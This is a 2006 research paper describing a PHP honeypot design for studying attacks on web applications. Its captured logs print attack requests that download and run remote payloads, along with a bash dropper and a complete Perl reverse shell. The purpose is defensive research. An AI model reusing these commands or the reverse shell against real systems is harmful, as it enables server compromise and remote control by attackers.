

# Building a PHP Honeygot

27 April, 2006

Jamie Riden, [jamesr@europe.com](mailto:jamesr@europe.com)  
Laurent Oudot, [oudot@rstack.org](mailto:oudot@rstack.org)

*Abstract:*

With the rise in automated and semi-automated attacks against web applications such as awstats, mambo and the PHP xml-rpc library, it would be useful to begin monitoring trends, reconnaissance and attacks on web applications using honeypots. In this paper we describe a design for a low interaction honeypot to emulate flaws in various PHP applications.

## Table of Contents

1Acknowledgements.....	2
2Introduction.....	2
3Possible approaches.....	2
4Example captures using a prototype.....	3
5Payloads.....	4
6Techniques.....	5
7Future Work.....	5
8Mitigation of attacks.....	6
9Conclusion.....	6
10References.....	6

## 1 Acknowledgements

This document is the result of discussion and collaboration with Laurent Oudot ([oudot@rstack.org](mailto:oudot@rstack.org)), and so most of the actual work can be considered his, where as I have only written it up; any errors may be considered mine.

## 2 Introduction

“From an attacker's viewpoint, a Web application is an interesting target for several reasons. First, the quality of the source code as related to security is often rather poor, as numerous bug reports show... Another factor is the applications' complex setup.” [Holz06]

Recent years have seen a substantial rise in the number of attacks directed against web applications, such as SQL injection, cross-site scripting attacks (XSS) and other input validation problems such as remote file includes in some PHP applications, command injection in the XML-RPC library and in the awstats[Aws06] package. Partly this is because a great deal of application level code has been written, and some of it without much regard to security issues. Another factor is likely to be that firewall rule sets are gradually being tightened up in regard to other ports and services. Whatever the reasons, it would be desirable to study attacks and reconnaissance of vulnerable applications on web servers in the same way that honeyd and nepenthes have allowed us to study other exploits.

## 3 Possible approaches

The first and simplest approach is also the most risky; simply install some vulnerable applications on a server (physical or virtual) and wait for things to happen. This is obviously the most realistic approach, but can lead to issues with containment and letting the attacker use the system as a launch pad to compromise third parties. We do not consider this method further; it is likely to present the most accurate results but will also require the most careful monitoring of any of the possible approaches.

Second, we could implement a separate script for each vulnerability, within the framework of the apache webserver. Thus one script would emulate a vulnerable awstats script, and another might behave as if it were part of a vulnerable xmlrpc library. This approach requires the greatest amount of work, but will be the most realistic out of the emulation methods when faced with a human attacker.

Thirdly, we could implement our own httpd process which returns a simple 500 error for any request and simply logs the complete HTTP request, including

headers, GET and POST parameters. Alternatively, the source of an established httpd implemetantion such as apache could be modified to do the same thing. Either way, some logic to emulate various exploits would have to be introduced. Since a large number of exploit attempts rely on delivering shell commands in GET or POST parameters, this would not be too difficult.

Finally, an approach somewhere between the previous two is possible. Some scripts can be written to act like a specific vulnerable application. Others can be fairly general and just parse their input for suspicious data. These generalised scripts can be invoked via the custom error page mechanism.

These latter three approaches are fairly low maintenance, in that they will never execute the untrusted code from the attacker – assuming no programming errors are present!

## 4 Example captures using a prototype

An initial implementation was developed along the lines of method two. As well as some legitimate pages, a few scripts were added to emulate the vulnerabilities present in earlier versions of awstats[ID05]<sup>1</sup>, mambo[SF06] and xmlrpc[SF05,Gulf05] libraries. In these GET requests, IP address have been obscured throughout as, for example xxx.yyy.zz.113 :

```
[24/Dec/2005:13:02:18 +1300] "GET /cgi-bin/awstats.pl?configdir=|
echo;echo%20YYY;cd%20%2ftmp%3bwget%20xx%2eyyy%2ez%2e216%2fnikons%3bch
mod%20%2bx%20nikons%3b%2e%2fnikons;echo%20YYY;echo| HTTP/1.1"
```

```
[25/Dec/2005:03:05:15 +1300] "GET /index2.php?option=com_content&do_p
df=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&G
LOBALS=&mosConfig_absolute_path=http://xxx.yyy.zz.111/cmd.gif?&cmd=cd
%20/tmp;wget%20xxx.yyy.zzz.113/listen;chmod%20744%20listen;./listen;e
cho%20YYY;echo| HTTP/1.1"
```

Notice that the remote file include problems are exploited via the use of the the http://xxx.yyy.zz.111/cmd.gif which is actually a PHP script, described in [PHN05] and [ISC06]. The attacks continued :

```
[13/Jan/2006:09:25:06 +1300] "GET /modules/coppermine/themes/default/
theme.php?THEME_DIR=http://xxx.yyy.zz.69/cmd.gif?&cmd=cd%20/tmp;wget%
20xxx.yyy.zz.69/cbac;chmod%20744%20cbac;./cbac;echo%20YYY;echo|
HTTP/1.1"
```

```
[16/Feb/2006:09:34:55 +1300] "GET /board/skin/zero_vote/error.php?dir
=http://www.xxxxxxx.co.uk/yyyyy/fbi.gif?&cmd=cd%20/tmp;curl%20-O%20ww
w.xxxxxxx.co.uk/yyyyy/botperl;perl%20botperl"
```

```
[17/Mar/2006:02:38:51 +1300] "GET /webcalendar/tools/send_reminders.p
hp?includedir=http://xx.yy.zzz.6/cmd.dat?&cmd=cd%20/tmp;wget%20xx.yy.
zzz.6/haita;chmod%20744%20haita;./haita;echo%20YYY;echo| HTTP/1.1"
```

The following was a typical payload of a POST request aimed at exploiting an XML-RPC vulnerability[SF05,Gulf05] :

```
POST /xmlsrv/xmlrpc.php HTTP/1.1
...
```

<sup>1</sup> Strictly speaking awstats is a perl script, but the flaw can easily be emulated in PHP.

```
Content-Type: text/xml
Content-Length:269
```

```
<?xml version="1.0"?><methodCall><methodName>test.method</methodName>
<params><param><value><name>', ' ');echo
'_begin_';echo\ `cd /tmp;wget xxx.yy.zz.144/gicuji;chmod +x
gicuji;./gicuji `;echo
'_end_';exit;/*</name></value></param></params>\</methodCall>
```

And these requests look very much like someone checking for vulnerable scripts:

```
[25/Dec/2005:22:04:10 +1300] "GET //awstats/perl/awstats.pl?configdir
=|%20id%20| HTTP/1.1"
```

```
[01/Feb/2006:17:26:27 +1300] "GET /xmlrpc.php HTTP/1.0"
```

And this is possibly someone probing for vulnerable phpBB installs in the same manner as the Anti-Santy worm:

```
[28/Mar/2006:13:38:35 +1200] GET /phpbb/viewtopic.php?t=8&highlight=%
2527%252Esystem(chr(112)%252Echr(101)%252Echr(114)%252Echr(108)%252Ec
hr(32)%252Echr(45)%252Echr(101)%252Echr(32)%252Echr(34)%252Echr(112)%
252Echr(114)%252Echr(105)%252Echr(110)%252Echr(116)%252Echr(32)%252Ec
hr(113)%252Echr(40)%252Echr(106)%252Echr(83)%252Echr(86)%252Echr(111)
%252Echr(119)%252Echr(77)%252Echr(115)%252Echr(100)%252Echr(41)%252Ec
hr(34))%252E%2527 HTTP/1.0
```

So it seems as if a honeypot implementation might generate some interesting data.

## 5 Payloads

After the first few captures, manual investigation revealed the following pattern present in a lot of the attempts. The first stage script often looked something like this:

```
#!/bin/bash
cd /tmp
wget xxx.yyy.zz.69/d
chmod 744 d
./d
wget xxx.yyy.zz.69/qs
chmod 744 qs
./qs
```

This led to a second stage parser being developed which would fetch the two payloads, as if the script had been executed, though they would not be executed themselves. These tended to be identified as Linux.Plupii/Lupper[Sym05,Worm05-01], Kaiten[Worm05-02] and Linux.RST.a/b, although these are possibly misidentifications based on modifications of the above as none of the available analyses correspond to the exact symptoms observed. Several binaries had exploit code such as the POST payload with IP addresses hardcoded, which suggests that the author has access to the source code and redistributes as necessary when one of the servers is shutdown.

On two occasions, the first stage payload was the a reverse shell:

```
#!/usr/bin/perl
```

```

use Socket;
use FileHandle;
$IP = $ARGV[0];
$PORT = $ARGV[1];
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system("id;pwd;uname -a;w;HISTFILE=/dev/null /bin/sh -i");

```

Manually running this on a disposable virtual machine caused a fetch of a IRC bot implementation also written in perl ("ShellBOT - FBI TEAM Corporation"). The other occasion yielded roughly the same type of payloads as downloaded by the above bash script.

During development, snort[Snort06] together with the Bleeding snort signatures[BLD06] have been used as an independent means of detecting attacks. The scripts have been updated where they failed to correctly handle the attacks snort had identified.

## 6 Techniques

In PHPHoP[Oudot05], several of the above techniques have been applied. There are convincing looking scripts which emulate vulnerabilities in specific applications. There is also a module called 'hiphop' which is used in connection with the custom error document handling of apache to parse GET parameters of arbitrary requests. This currently allows handling of cookie data via the `$_COOKIE` array of PHP, but not HTTP POST data, due to an inherent limitation of apache. We create a `.htaccess` file as follows:

```
ErrorDocument 404 /hiphop.php
```

which means apache will redirect any 404 (resource not found) errors to our script. When the script is called after such a redirection, the variable `$_SERVER["REDIRECT_QUERY_STRING"]` will be set, for example, to -

```
configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20xx%2eyyy%2ez%2e216%2f
nikons%3bchmod%20%2bx%20nikons%3b%2e%2fnikons;echo%20YYY;echo|
```

in the case of one of the above examples. The query string is decoded via `urldecode()` and we do pattern matching on the result to look for suspicious wget or curl requests. The suspicious files are then downloaded for later analysis.

If the User-Agent string matches either nikto or nessus, we return a HTTP 200 code on all requests; this is to slow down the attacker and to make the results questionable. We also return 200 for all pages where `$HTTP_REFERER` is not set. If it is set, we return a 404 error page. The logic behind this is to impersonate a genuine page to a robot, which typically do not seem to set `$HTTP_REFERER`. However, an out-of-date link from another page will result in the referrer being set when the request is made. In this way, we hope not to confuse genuine visitors. Regardless of the page and error code we return, we will have logged the request and downloaded any files which the attacker is trying to wget.

## 7 Future Work

We plan to incorporate logging for a wider variety of applications, including phpBB, awstats and xml-rpc libraries. A logging facility using a MySQL database is also planned, as is a console to monitor the activity.

Other vulnerabilities such as the cookie validation issues in iCalendar, and SQL injection problems in PHPNuke for example are also good candidates for emulation.

Where an exploit attempt causes a file to be downloaded, it would be valuable to parse this file for further wget requests or for a perl remote shell as in the above examples; this kind of matching will be slightly unreliable, but may still yield valuable information.

Unfortunately, this mechanism doesn't support POST data. One possible way of doing this would be to use mod\_rewrite as follows:

```
RewriteEngine on
RewriteRule ^(.*)/xmlrpc.php$ /honeypot-POST-script.php [R,L]
```

The resulting script could read data from `$_GET[]`, `$POST[]` and `$_COOKIE[]` - although this would have to be targetted at existing vulnerabilities, unlike the ErrorDocument method.

Finally, it is important to deploy the system in the field as widely as possible to obtain useful feedback about omissions and faults.

## 8 Mitigation of attacks

Obviously the best fix to prevent these exploits on a real server is to make sure all applications are fully up to date with patches. To protect against the risk of attacks being carried out before patches are available or applied, there are several other mitigation techniques that could be used:

1. Don't let your webserver initiate connections outbound,
2. Remove or rename binaries such as wget, perl, curl, tftp, ftp,
3. Make sure /tmp is mounted with -noexec where possible, and/or
4. Use mod\_security[Modsec06] to block selected traffic

## 9 Conclusion

Web application attacks now make up a significant part of attempted attacks against servers. We have presented a few possible mechanisms for applying the honeypot concept to these attacks and have shown some example captures from our approach. We also present an implementation of a honeypot which implements both pages designed for catching a specific exploit and a more general method for detecting a class of previously unseen attacks.

## 10 References

- [Aws06] Awstats, <http://awstats.sourceforge.net/>
- [BLD06] Bleeding Snort Project, <http://www.bleedingsnort.com/>
- [Gulf05] "PHPXMLRPC Library Remote Code Execution," [http://www.gulftech.org/?node=research&article\\_id=00088-07022005](http://www.gulftech.org/?node=research&article_id=00088-07022005)

[Holz06] T. Holz, S. Marechal and F. Raynal, "New Threats and Attacks on the World Wide Web," IEEE Security and Privacy 2006 issue 2 pp 72-76

[ID05] "AWStats Remote Command Execution Vulnerability," <http://www.iddefense.com/intelligence/vulnerabilities/display.php?id=185>

[ISC05] Internet Storm Center, "XML-RPC for PHP Vulnerability Attack," <http://isc.sans.org/diary.php?storyid=823> , 5<sup>th</sup> November 2005

[ISC06] "Probable PHP shell/web defacement tool usage on the rise," <http://isc.sans.org/diary.php?rss&storyid=1030>

[Modsec06] mod\_security, <http://www.modsecurity.org/>

[Oudot06] PHPHoP, <http://rstack.org/phphop/>

[PHN06] "Defacing tool 2.0 by r3v3ng4ns," [http://www.philippinehoneynet.org/charts\\_2006-01-20/analysis.php](http://www.philippinehoneynet.org/charts_2006-01-20/analysis.php)

[PHPB06] PHPBB, <http://www.phpbb.com/>

[PHPX06] PHPXMLRPC, <http://phpxmlrpc.sourceforge.net/>

[SF05] "XML-RPC for PHP is affected by a remote code injection vulnerability," <http://www.securityfocus.com/bid/14088/discussion>

[SF06] "Mambo remote file include vulnerability," <http://www.securityfocus.com/bid/6572>, <http://secunia.com/advisories/18935/>

[Snort06] The snort Intrusion Detection System, <http://www.snort.org/>

[Sym05] Analysis of Linux.Plupii, 6<sup>th</sup> November 2005, <http://securityresponse.symantec.com/avcenter/venc/data/linux.plupii.html>

[Worm05-01] "New Worm: Lupper/Lupii," [http://www.wormblog.com/2005/11/new\\_worm\\_lupper.htm](http://www.wormblog.com/2005/11/new_worm_lupper.htm)

[Worm05-02] "Two Minor Worms of Note: Kaiten, Santa," [http://www.wormblog.com/2005/12/two\\_minor\\_worms.html](http://www.wormblog.com/2005/12/two_minor_worms.html)